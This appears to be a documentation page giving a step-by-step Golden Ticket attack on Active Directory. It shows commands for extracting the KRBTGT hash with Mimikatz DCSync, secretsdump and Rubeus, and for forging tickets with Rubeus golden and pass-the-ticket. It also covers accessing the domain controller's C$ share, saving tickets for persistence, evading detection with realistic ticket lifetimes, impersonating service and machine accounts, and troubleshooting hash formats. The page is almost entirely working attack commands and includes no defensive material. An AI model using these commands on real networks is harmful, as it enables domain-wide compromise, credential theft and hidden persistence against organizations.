Forge golden tickets for domain persistence and privilege escalation
Golden Ticket attacks represent the pinnacle of Active Directory persistence, providing domain-wide access that persists even after password changes and system reboots.
Golden tickets are forged Ticket Granting Tickets (TGTs) created using the KRBTGT account’s password hash. These tickets provide persistent, high-privilege access to Active Directory environments by appearing completely legitimate to domain controllers.
Extract KRBTGT credentials using DCSync or other methods:
Copy
Ask AI
# Using Mimikatzmimikatz.exe "lsadump::dcsync /user:krbtgt"# Using Impacketsecretsdump.py domain/user:password@dc01.corp.local# Using Rubeus with delegationRubeus.exe dump /service:krbtgt /nowrap
2
Domain Information Gathering
Collect required domain information (if not using LDAP mode):
Copy
Ask AI
# Get domain SIDGet-ADDomain | Select-Object DomainSID# Alternative methodwhoami /user
3
Golden Ticket Creation
Create the forged TGT with appropriate parameters:
Copy
Ask AI
# LDAP mode (recommended)Rubeus.exe golden /user:admin /rc4:krbtgt_ntlm_hash /ldap /ptt# Manual modeRubeus.exe golden /user:admin /domain:corp.local /sid:S-1-5-21... /rc4:krbtgt_hash /ptt
4
Verification and Usage
Verify the ticket was created and test access:
Copy
Ask AI
# List current ticketsRubeus.exe klist# Test domain controller accessdir \\dc01.corp.local\c$# Request service ticketsRubeus.exe asktgs /service:cifs/fileserver.corp.local
5
Persistence Operations
Use the golden ticket for persistent access:
Copy
Ask AI
# Save ticket for later useRubeus.exe golden /user:admin /rc4:krbtgt_hash /ldap /outfile:golden.kirbi# Create additional tickets as neededRubeus.exe golden /user:serviceaccount /rc4:krbtgt_hash /ldap /groups:513,1001
# Create ticket for existing user with normal privilegesRubeus.exe golden /user:john.doe /rc4:krbtgt_hash /ldap /groups:513 /id:1001# Gradually escalate with additional ticketsRubeus.exe golden /user:john.doe /rc4:krbtgt_hash /ldap /groups:513,1001,1002
Show Time-Based Evasion
Copy
Ask AI
# Create ticket with realistic timingRubeus.exe golden /user:admin /rc4:krbtgt_hash /ldap /authtime:"10/25/2024 09:00:00" /endtime:"10/25/2024 17:00:00"# Short-lived ticket for specific operationsRubeus.exe golden /user:admin /rc4:krbtgt_hash /ldap /endtime:"10/25/2024 23:59:59"
Show Service Account Impersonation
Copy
Ask AI
# Impersonate service accountsRubeus.exe golden /user:svc_sql /rc4:krbtgt_hash /ldap /groups:513 /id:1100# Machine account impersonationRubeus.exe golden /user:COMPUTER$ /rc4:krbtgt_hash /ldap /groups:515
Problem: Invalid KRBTGT hash format errorsSolutions:
Verify hash is exactly 32 characters for RC4
Ensure AES keys are proper length (32 chars for AES128, 64 for AES256)
Remove any spaces or line breaks from hash
Verify hash was extracted correctly
Copy
Ask AI
# Verify hash formatecho "hash_length: ${#krbtgt_hash}"# Test with RC4 hashRubeus.exe golden /user:test /rc4:32ed87bdb5fdc5e9cba88547376818d4 /domain:corp.local /sid:S-1-5-21...